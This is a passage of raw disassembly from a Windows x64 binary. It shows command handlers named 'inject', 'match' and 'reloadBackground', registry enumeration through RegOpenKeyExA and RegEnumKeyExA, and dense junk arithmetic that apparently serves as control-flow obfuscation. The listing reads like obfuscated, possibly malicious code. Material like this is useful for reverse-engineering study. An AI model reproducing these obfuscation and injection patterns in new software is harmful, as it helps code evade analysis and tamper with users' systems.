mov qword [rsp + 0x9d8], rax
cmp byte [rax + 8], 1
jne 0x14006b913
lea rdx, [0x140160a40]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0x9e8], rax
lea rdx, [0x140160a90]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0x9f8], rax
cmp byte [rax + 8], 4
jne 0x14006b913
lea rdx, [0x140160a98]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xa08], rax
lea rdx, [0x140160aa0]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xa18], rax
lea rdx, [rsp + 0x59f0]
mov rcx, rax
call fcn.14003c550
nop
call fcn.140067170
test al, al
jne 0x14006b50e
mov r8d, edi
mov dword [rsp + 0x284], edi
mov ecx, dword [0x1401d5d60]
nop dword [rax]
mov eax, 0xb60b60b7
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x5a
mov eax, ecx
sub eax, edx
cmp eax, 0xfc
je 0x14006b507
mov eax, ecx
or eax, 0xffffff4a
add ecx, eax
mov dword [0x1401d5d60], ecx
inc r8d
mov dword [rsp + 0x284], r8d
mov eax, ecx
imul eax, ecx
cmp r8d, eax
jg 0x14006b507
jmp 0x14006b4c0
mov dword [0x1401d5d60], r8d
mov qword [rsp + 0x328], rdi
lea rcx, [rsp + 0x59f0]
cmp qword [rsp + 0x5a08], 0x10
cmovae rcx, qword [rsp + 0x59f0]
lea r8, [rsp + 0x328]
mov rdx, qword [rsp + 0x5a00]
call fcn.1400221e0
test al, al
jne 0x14006b59f
lea rcx, [rsp + 0x59f0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x40]
call fcn.140002350
nop
lea rcx, [rsp + 0x59d0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x68]
call fcn.140002350
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
mov r14d, 1
jmp 0x14006cf1e
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rdi
mov rbx, qword [rsp + 0x328]
mov rdx, rbx
lea rcx, [rsp + 0x118]
call fcn.1400359b0
nop
mov qword [rsp + 0x338], rdi
cmp qword [rsp + 0x5a08], 0x10
jb 0x14006b602
mov rcx, qword [rsp + 0x59f0]
mov qword [rsp + 0x698], rcx
test rcx, rcx
jne 0x14006b612
mov rbx, qword [rsp + 0x118]
jmp 0x14006b645
lea rcx, [rsp + 0x59f0]
mov qword [rsp + 0x698], rcx
lea rax, [rsp + 0x338]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov rbx, qword [rsp + 0x118]
mov r8, rbx
mov rdx, qword [rsp + 0x5a00]
call fcn.140022410
mov byte [rsp + 0xa0], al
test al, al
jne 0x14006b6c2
test rbx, rbx
je 0x14006b66a
mov rcx, rbx
call fcn.1400d37c0
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rdi
lea rcx, [rsp + 0x59f0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x40]
call fcn.140002350
nop
lea rcx, [rsp + 0x59d0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x68]
call fcn.140002350
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
xor bl, bl
mov r14d, 1
jmp 0x14006cf1e
mov rdx, qword [rsp + 0x338]
lea rcx, [rsp + 0x118]
call fcn.1400359b0
lea rdx, [0x140160aa8]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xa28], rax
lea rdx, str.match
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xa38], rax
mov rcx, rax
call fcn.14003c7e0
mov ebx, eax
mov dword [rsp + 0x868], eax
lea rdx, [0x140160a68]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xa48], rax
lea rdx, str.inject
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xa58], rax
mov rcx, rax
call fcn.14003c7e0
mov dword [rsp + 0x8a0], eax
lea r9, [rsp + 0x118]
mov r8d, eax
mov edx, ebx
mov rcx, qword [rsi + 0x40]
call fcn.140061c20
mov r11d, dword [0x1401d5d60]
mov ecx, r11d
imul ecx, r11d
mov eax, 0x38e38e39
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*8]
add eax, eax
sub ecx, eax
cmp ecx, 3
jne 0x14006b828
movsd xmm3, qword [0x140162fc8]
movsd qword [rsp + 0x6a8], xmm3
xorps xmm2, xmm2
movsd qword [rsp + 0x348], xmm2
movd xmm4, r11d
cvtdq2pd xmm4, xmm4
movsd xmm5, qword [0x140162ff0]
movsd xmm6, qword [0x140162fc0]
nop word [rax + rax]
addsd xmm2, xmm3
movsd qword [rsp + 0x348], xmm2
movaps xmm0, xmm2
mulsd xmm0, xmm2
comisd xmm0, xmm4
jbe 0x14006b814
subsd xmm2, xmm3
movsd qword [rsp + 0x348], xmm2
divsd xmm3, xmm5
movsd qword [rsp + 0x6a8], xmm3
movaps xmm1, xmm2
mulsd xmm1, xmm2
movaps xmm0, xmm4
subsd xmm0, xmm1
comisd xmm0, xmm6
ja 0x14006b7e0
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
lea ecx, [r11 + 1]
imul ecx, r11d
mov eax, 0x2e8ba2e9
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub ecx, edx
cmp ecx, 3
jne 0x14006b8da
mov r8d, 0xd1
mov dword [rsp + 0x28c], r8d
mov r10d, edi
mov dword [rsp + 0x150], edi
cmp r10d, r8d
jge 0x14006b8da
mov r9d, edi
mov dword [rsp + 0x1d8], edi
mov eax, r11d
cdq
sub eax, edx
sar eax, 1
cmp r9d, eax
jge 0x14006b8cd
mov ecx, edi
mov dword [rsp + 0x148], ecx
mov eax, r11d
cdq
and edx, 3
add eax, edx
sar eax, 2
cmp ecx, eax
jge 0x14006b8c0
mov eax, r9d
imul eax, r10d
sub eax, ecx
add r8d, eax
mov dword [rsp + 0x28c], r8d
inc ecx
jmp 0x14006b891
inc r9d
mov dword [rsp + 0x1d8], r9d
jmp 0x14006b882
inc r10d
mov dword [rsp + 0x150], r10d
jmp 0x14006b873
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x14006b904
call fcn.1400d37c0
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], rdi
mov qword [rsp + 0x128], rdi
lea rcx, [rsp + 0x59f0]
call fcn.1400013b0
jmp 0x14006b95b
lea rcx, [rsp + 0x40]
call fcn.140002350
nop
lea rcx, [rsp + 0x59d0]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x68]
call fcn.140002350
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
mov r14d, 1
jmp 0x14006cf1e
mov r8d, dword [0x1401d5d60]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 7
jne 0x14006cdd2
mov r14d, 1
mov ecx, r14d
mov dword [rsp + 0x248], ecx
nop dword [rax]
cmp ecx, r8d
jge 0x14006b9b8
mov eax, r8d
cdq
idiv ecx
inc ecx
add ecx, edx
mov dword [rsp + 0x248], ecx
jmp 0x14006b9a0
mov dword [0x1401d5d60], ecx
jmp 0x14006cdd8
lea rdx, str.NVP_UTF8ToUTF16
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x14006bf16
test r12, r12
je 0x14006be3a
xor r13b, r13b
mov byte [rsp + 0x71], r13b
lea rcx, [rsp + 0x250]
call fcn.140002270
nop
lea rdx, [0x140160b14]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xa68], rax
lea rdx, [0x140160b1c]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xa78], rax
cmp byte [rax + 8], 4
jne 0x14006be1d
lea rdx, [0x140160b24]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xa88], rax
lea rdx, [0x140160b2c]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xa98], rax
lea rdx, [rsp + 0x5a10]
mov rcx, rax
call fcn.14003c550
nop
mov eax, dword [0x1401d5d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x66666667
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*4]
shl eax, 2
sub ecx, eax
cmp ecx, 0x11
jne 0x14006bad4
mov rax, qword [str.ArmyRgVtbl]
mov qword [rsp + 0x400], rax
movzx eax, word [0x140160ab8]
mov word [rsp + 0x408], ax
movzx eax, byte [0x140160aba]
mov byte [rsp + 0x40a], al
mov byte [rsp + 0x400], 0x7f
mov rax, qword [rsp + 0x5a20]
mov qword [rsp + 0xaa8], rax
lea r8, [rsp + 0x5a10]
cmp qword [rsp + 0x5a28], 0x10
cmovae r8, qword [rsp + 0x5a10]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, eax
mov dword [rsp + 0x278], eax
mov esi, dword [0x1401d5d60]
lea r8d, [rsi + 2]
lea ecx, [rsi + 1]
imul r8d, ecx
imul r8d, esi
mov eax, 0x88888889
imul r8d
add edx, r8d
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xf
sub r8d, edx
cmp r8d, 0xc
jne 0x14006bb71
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov esi, dword [0x1401d5d60]
test ebx, ebx
je 0x14006bd72
mov ecx, esi
imul ecx, esi
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
mov eax, ecx
sub eax, edx
cmp eax, 0x13
jne 0x14006bc7b
imul ecx, esi
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
mov eax, dword [rsp + 0x1970]
cmp ecx, 0xf
cmove eax, edi
mov dword [rsp + 0x1970], eax
mov r14d, edi
mov dword [rsp + 0x160], edi
cmp r14d, 5
jge 0x14006bc74
mov r11d, edi
mov dword [rsp + 0x140], edi
nop word [rax + rax]
cmp r11d, 0xa
jge 0x14006bc64
mov r10d, edi
mov dword [rsp + 0x158], edi
cmp r10d, 0x10
jge 0x14006bc57
lea ebx, [r10 + 1]
lea ecx, [r11 + 1]
mov eax, esi
cdq
idiv ecx
mov r9d, edx
mov eax, esi
sub eax, r14d
imul r9d, eax
mov eax, esi
cdq
idiv ebx
imul r9d, eax
movsxd rax, r14d
lea rcx, [rax + rax*4]
movsxd rax, r11d
lea r8, [rax + rcx*2]
add r8, r8
movsxd rax, r10d
lea rcx, [rsp + 0x6b30]
add rcx, rax
mov byte [rcx + r8*8], r9b
mov r10d, ebx
mov dword [rsp + 0x158], ebx
jmp 0x14006bc00
inc r11d
mov dword [rsp + 0x140], r11d
jmp 0x14006bbf0
inc r14d
mov dword [rsp + 0x160], r14d
jmp 0x14006bbd6
mov ebx, dword [rsp + 0x278]
mov qword [rsp + 0x2a0], rdi
mov qword [rsp + 0x2a8], rdi
mov qword [rsp + 0x2b0], rdi
movsxd rdx, ebx
add rdx, rdx
lea rcx, [rsp + 0x2a0]
call fcn.1400359b0
nop
mov rax, qword [rsp + 0x5a20]
mov qword [rsp + 0xab8], rax
lea r8, [rsp + 0x5a10]
cmp qword [rsp + 0x5a28], 0x10
cmovae r8, qword [rsp + 0x5a10]
mov dword [rsp + 0x28], ebx
mov rbx, qword [rsp + 0x2a0]
mov qword [rsp + 0x20], rbx
mov r9d, eax
xor edx, edx
mov ecx, 0xfde9
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
je 0x14006bd47
mov r8, qword [rsp + 0x2a8]
sub r8, rbx
mov qword [rsp + 0xac8], r8
mov rdx, rbx
lea rcx, [rsp + 0x6b8]
call fcn.140022760
mov qword [rsp + 0xad8], rax
mov rdx, rax
lea rcx, [rsp + 0x250]
call fcn.1400023d0
nop
lea rcx, [rsp + 0x6b8]
call fcn.140002350
mov r13b, 1
mov byte [rsp + 0x71], r13b
test rbx, rbx
je 0x14006bd6c
mov rcx, rbx
call fcn.1400d37c0
mov qword [rsp + 0x2a0], rdi
mov qword [rsp + 0x2a8], rdi
mov qword [rsp + 0x2b0], rdi
mov esi, dword [0x1401d5d60]
lea ecx, [rsi + 2]
lea eax, [rsi + 1]
imul ecx, eax
imul ecx, esi
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 0x11
jne 0x14006bdd0
mov r8d, edi
mov dword [rsp + 0x168], edi
movsxd r9, r8d
cmp r9, 0x8a
jae 0x14006bdd0
mov eax, esi
sub eax, r8d
lea ecx, [r8 + rsi]
cdq
idiv ecx
mov dword [rsp + r9*4 + 0x6500], edx
inc r8d
mov dword [rsp + 0x168], r8d
jmp 0x14006bda3
lea rcx, [rsp + 0x5a10]
call fcn.1400013b0
test r13b, r13b
je 0x14006be1d
mov rcx, qword [rsp + 0x250]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x790], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xae8], rax
test rax, rax
jne 0x14006be0c
call fcn.140002650
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
jmp 0x14006be2d
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x250]
call fcn.140002350
mov eax, dword [0x1401d5d60]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 7
jne 0x14006cdd2
mov word [rsp + 0x6e50], di
xor edx, edx
mov r8d, 0x781e
lea rcx, [rsp + 0x6e52]
call fcn.1400d8c20
mov dword [0x1401d5d60], edi
mov r10d, edi
mov dword [rsp + 0x170], edi
cmp r10d, 0x7c
jge 0x14006bf03
mov r9d, edi
mov dword [rsp + 0x208], edi
cmp r9d, 0x7c
jge 0x14006bef6
test r10d, r10d
je 0x14006bee9
test r9d, r9d
je 0x14006bee9
movsxd r8, r10d
movsxd rcx, r9d
mov rdx, r8
imul rdx, rdx, 0x7c
add rdx, rcx
imul r8, r8, 0x7c
add r8, rcx
movsx ecx, word [rsp + r8*2 + 0x6d58]
movsx eax, word [rsp + rdx*2 + 0x6e4e]
inc ecx
add ecx, eax
mov word [rsp + rdx*2 + 0x6e50], cx
inc r9d
mov dword [rsp + 0x208], r9d
jmp 0x14006bea5
inc r10d
mov dword [rsp + 0x170], r10d
jmp 0x14006be95
movsx eax, word [rsp + 0xe66e]
mov dword [0x1401d5d60], eax
jmp 0x14006cdd2
lea rdx, str.reloadBackground
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x14006bf54
mov rcx, qword [rsi + 0x40]
add rcx, 0x1f0
call fcn.140071f10
test r12, r12
je 0x14006cdd2
mov r14d, 1
mov word [r12], r14w
jmp 0x14006cdd8
lea rdx, str.debugMessage
lea rcx, [rsp + 0x40]
call fcn.140003770
test eax, eax
jne 0x14006c070
lea rdx, [0x140160b6c]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xaf8], rax
lea rdx, [0x140160b78]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xb08], rax
cmp byte [rax + 8], 4
jne 0x14006c070
lea rdx, str.param
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xb18], rax
lea rdx, str.message
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xb28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb38], rdx
lea rcx, [rsp + 0x6c8]
call fcn.140003310
nop
mov ecx, dword [0x1401d5d60]
lea r8d, [rcx + 2]
lea eax, [rcx + 1]
imul r8d, eax
imul r8d, ecx
mov eax, 0x2e8ba2e9
imul r8d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x16
sub r8d, edx
cmp r8d, 0xf
jne 0x14006c049
mov rax, qword [str.2HTv6ybLi]
mov qword [rsp + 0x428], rax
movzx eax, word [0x140160b40]
mov word [rsp + 0x430], ax
mov byte [rsp + 0x428], 0x44
test r12, r12
je 0x14006c05e
mov word [r12 + 8], r15w
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x6c8]
call fcn.140002350
jmp 0x14006cdd2
test r12, r12
je 0x14006cdd2
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
jmp 0x14006cdd2
lea rdx, [0x14016087c]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xb48], rax
lea rdx, [0x140160818]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xb58], rax
cmp byte [rax + 8], 4
jne 0x14006cdd2
test r12, r12
je 0x14006cdd2
mov qword [rsp + 0x1e8], rdi
mov qword [rsp + 0x1f0], rdi
mov qword [rsp + 0x1f8], rdi
lea rdx, [0x140160820]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xb68], rax
lea rdx, [0x140160828]
mov rcx, rax
call fcn.14003d190
test al, al
je 0x14006c435
lea rdx, [0x140160830]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xb78], rax
lea rdx, str.hive
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xb88], rax
mov rdx, qword [rax]
mov qword [rsp + 0xb98], rdx
lea rcx, [rsp + 0x260]
call fcn.140003310
nop
mov rbx, qword [rsi + 0x50]
lea rdx, [0x1401608e0]
lea rcx, [rsp + 0x260]
call fcn.140003770
mov rcx, 0xffffffff80000003
test eax, eax
cmove rbx, rcx
mov qword [rsp + 0xba8], rbx
lea rdx, [0x1401608f8]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xbb8], rax
lea rdx, [0x140160900]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xbc8], rax
mov rdx, qword [rax]
mov qword [rsp + 0xbd8], rdx
lea rax, [rsp + 0x6d8]
mov qword [rsp + 0x20], rax
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, eax
mov dword [rsp + 0x450], eax
test eax, eax
je 0x14006c304
mov r8d, dword [0x1401d5d60]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
sub ecx, edx
cmp ecx, 5
jne 0x14006c269
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x141
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d2e28
mov qword [rsp + 0xbe8], rax
mov rcx, rax
call fcn.1400d3f08
mov dword [r12 + 8], ebx
mov eax, 0x16
mov word [r12], ax
lea rcx, [rsp + 0x260]
call fcn.140002350
nop
lea rcx, [rsp + 0x1e8]
call fcn.14001b690
nop
lea rcx, [rsp + 0x40]
call fcn.140002350
nop
cmp qword [rsp + 0x59e8], 0x10
jb 0x14006c2b7
mov rcx, qword [rsp + 0x59d0]
call fcn.1400d37c0
mov qword [rsp + 0x59e8], 0xf
mov qword [rsp + 0x59e0], rdi
mov byte [rsp + 0x59d0], 0
lea rcx, [rsp + 0x68]
call fcn.140002350
nop
lea rcx, [rsp + 0x5b20]
call fcn.140019b40
nop
lea rcx, [rsp + 0x50]
call fcn.14003c410
nop
xor bl, bl
mov r14d, 1
jmp 0x14006cf1e
mov ebx, edi
mov dword [rsp + 0x258], ebx
mov dword [rsp + 0xdc], 0x7ffe
lea rdx, [0x140160888]
lea rcx, [rsp + 0x40]
call fcn.140003770
mov r14, qword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
test eax, eax
cmove r14, qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov qword [rsp + 0xbf8], r14
mov ecx, 0x7ffe
call fcn.1400d2e28
mov rsi, rax
mov qword [rsp + 0xc08], rax
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rax
call fcn.1400d8c20
nop word [rax + rax]
mov edx, ebx
inc ebx
mov dword [rsp + 0x258], ebx
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0xdc]
mov r8, rsi
mov rcx, qword [rsp + 0x6d8]
call r14
mov dword [rsp + 0x680], eax
test eax, eax
jne 0x14006c3ff
mov rdx, rsi
lea rcx, [rsp + 0x6e8]
call fcn.140003310
nop
mov rdx, rax
lea rcx, [rsp + 0x1e8]
call fcn.14002bb90
nop
lea rcx, [rsp + 0x6e8]
call fcn.140002350
xor edx, edx
mov r8d, 0x7ffe
mov rcx, rsi
call fcn.1400d8c20
mov dword [rsp + 0xdc], 0x7ffe
jmp 0x14006c370
cmp eax, 0x103
je 0x14006c422
mov rax, qword [rsp + 0x1f0]
sub rax, qword [rsp + 0x1e8]
test rax, 0xfffffffffffffff8
jne 0x14006c422
xor bl, bl
jmp 0x14006c424
mov bl, 1
mov byte [rsp + 0x48], bl
lea rcx, [rsp + 0x260]
jmp 0x14006c521
lea rdx, str.getChildValues
lea rcx, [rsp + 0x40]
call fcn.140003770
lea rcx, [rsp + 0x50]
test eax, eax
jne 0x14006c4b9
lea rdx, [0x1401608c8]
call fcn.14003ce50
mov qword [rsp + 0xc18], rax
lea rdx, [0x1401608d0]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xc28], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc38], rdx
lea rcx, [rsp + 0x358]
call fcn.140003310
nop
lea rdx, [rsp + 0x1e8]
lea rcx, [rsp + 0x358]
call fcn.14004edf0
movzx ebx, al
mov byte [rsp + 0x48], al
lea rcx, [rsp + 0x358]
jmp 0x14006c521
lea rdx, [0x140160920]
call fcn.14003ce50
mov qword [rsp + 0xc48], rax
lea rdx, str.keyPath
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xc58], rax
mov rdx, qword [rax]
mov qword [rsp + 0xc68], rdx
lea rcx, [rsp + 0x368]
call fcn.140003310
nop
lea rdx, [rsp + 0x1e8]
lea rcx, [rsp + 0x368]
call fcn.14004e9e0
movzx ebx, al
mov byte [rsp + 0x48], al
lea rcx, [rsp + 0x368]
call fcn.140002350
test bl, bl
je 0x14006c7d7
lea rdx, [0x140160930]
lea rcx, [rsp + 0xa8]
call fcn.1400022b0
nop
mov rbx, qword [rsp + 0x1e8]
mov qword [rsp + 0x718], rbx
cmp rbx, qword [rsp + 0x1f0]
je 0x14006c629
lea rdx, [0x14015d85c]
lea rcx, [rsp + 0x388]
call fcn.140003310
nop
lea rdx, [0x14015d804]
lea rcx, [rsp + 0x378]
call fcn.140003310
nop
mov r8, rbx
lea rdx, [rsp + 0x378]
lea rcx, [rsp + 0x708]
call fcn.14000ff10
nop
lea r8, [rsp + 0x388]
mov rdx, rax
lea rcx, [rsp + 0x6f8]
call fcn.14000ff10
mov qword [rsp + 0xc78], rax
mov rdx, qword [rax]
mov r8d, dword [rdx - 0x10]
mov dword [rsp + 0x460], r8d
mov qword [rsp + 0xc88], rdx
lea rcx, [rsp + 0xa8]
call fcn.1400109d0
nop
lea rcx, [rsp + 0x6f8]
call fcn.140002350
nop
lea rcx, [rsp + 0x708]
call fcn.140002350
nop
lea rcx, [rsp + 0x378]
call fcn.140002350
nop
lea rcx, [rsp + 0x388]
call fcn.140002350
add rbx, 8
jmp 0x14006c54b
mov rax, qword [rsp + 0xa8]
mov r8d, dword [rax - 0x10]
mov dword [rsp + 0x820], r8d
dec r8d
lea rdx, [rsp + 0x738]
lea rcx, [rsp + 0xa8]
call fcn.14001b280
nop
lea r8, [0x14015d81c]
mov rdx, rax
lea rcx, [rsp + 0x728]
call fcn.14001b320
mov qword [rsp + 0xc98], rax
mov rdx, rax
lea rcx, [rsp + 0xa8]
call fcn.1400023d0
nop
lea rcx, [rsp + 0x728]
call fcn.140002350
nop
lea rcx, [rsp + 0x738]
call fcn.140002350
mov rcx, qword [rsp + 0xa8]
mov edx, dword [rcx - 0x10]
mov dword [rsp + 0x470], edx
call qword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
mov qword [rsp + 0xca8], rax
test rax, rax
jne 0x14006c6cb
call fcn.140002650
mov qword [r12 + 8], rax
mov eax, 8
mov word [r12], ax
mov r8d, dword [0x1401d5d60]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x30c30c31
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x15
mov eax, ecx
sub eax, edx
cmp eax, 0x13
jne 0x14006c75a
imul ecx, r8d
mov eax, 0x6bca1af3
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x13
sub ecx, edx
mov eax, dword [rsp + 0x13b0]
cmp ecx, 0xf
cmove eax, edi
mov dword [rsp + 0x13b0], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov r8d, dword [0x1401d5d60]
mov ecx, 7
test rax, rax
cmove r8d, ecx
mov dword [0x1401d5d60], r8d
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x2aaaaaab
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
shl eax, 3
sub ecx, eax
cmp ecx, 3
jne 0x14006c7c8
mov ecx, 0x28
call fcn.1400d2e28
mov rbx, rax
mov qword [rsp + 0xcb8], rax
mov dword [rsp + 0x178], edi
cmp edi, 0xa
jge 0x14006c7b6
call fcn.1400d41a0
add eax, dword [0x1401d5d60]
movsxd rcx, edi
mov dword [rbx + rcx*4], eax
inc edi
jmp 0x14006c795
mov eax, dword [rbx + 0x24]
mov dword [0x1401d5d60], eax
mov rcx, rbx
call fcn.1400d3f08
nop
lea rcx, [rsp + 0xa8]
call fcn.140002350
jmp 0x14006c7e7
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
lea rcx, [rsp + 0x1e8]
call fcn.14001b690
jmp 0x14006cdd2
lea rdx, [0x140160418]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xcc8], rax
lea rdx, [0x140160420]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xcd8], rax
cmp byte [rax + 8], 4
jne 0x14006cdd2
test r12, r12
je 0x14006cdd2
lea rdx, [0x1401604cc]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xce8], rax
lea rdx, [0x1401604d8]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xcf8], rax
cmp byte [rax + 8], 4
jne 0x14006cdd2
lea rdx, [0x1401604e4]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xd08], rax
lea rdx, [0x1401604f0]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xd18], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd28], rdx
lea rcx, [rsp + 0xc0]
call fcn.140003310
nop
lea rdx, [0x1401604a4]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xd38], rax
lea rdx, [0x1401604b0]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xd48], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd58], rdx
lea rcx, [rsp + 0xb8]
call fcn.140003310
nop
mov r13, rdi
mov qword [rsp + 0x138], rdi
lea rdx, [0x1401604bc]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xd68], rax
lea rdx, [0x1401604c4]
mov rcx, rax
call fcn.14003d190
test al, al
je 0x14006ca67
lea rdx, [0x140160530]
lea rcx, [rsp + 0x50]
call fcn.14003ce50
mov qword [rsp + 0xd78], rax
lea rdx, [0x140160538]
mov rcx, rax
call fcn.14003ce50
mov qword [rsp + 0xd88], rax
mov rdx, qword [rax]
mov qword [rsp + 0xd98], rdx
lea rcx, [rsp + 0x398]
call fcn.140003310
nop
mov rbx, qword [rsi + 0x50]
mov qword [rsp + 0x138], rbx
mov r8d, dword [0x1401d5d60]
lea ecx, [r8 + 1]
imul ecx, r8d
mov eax, 0x4ec4ec4f
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0xd
sub ecx, edx
cmp ecx, 9
jne 0x14006ca05
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x7b
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
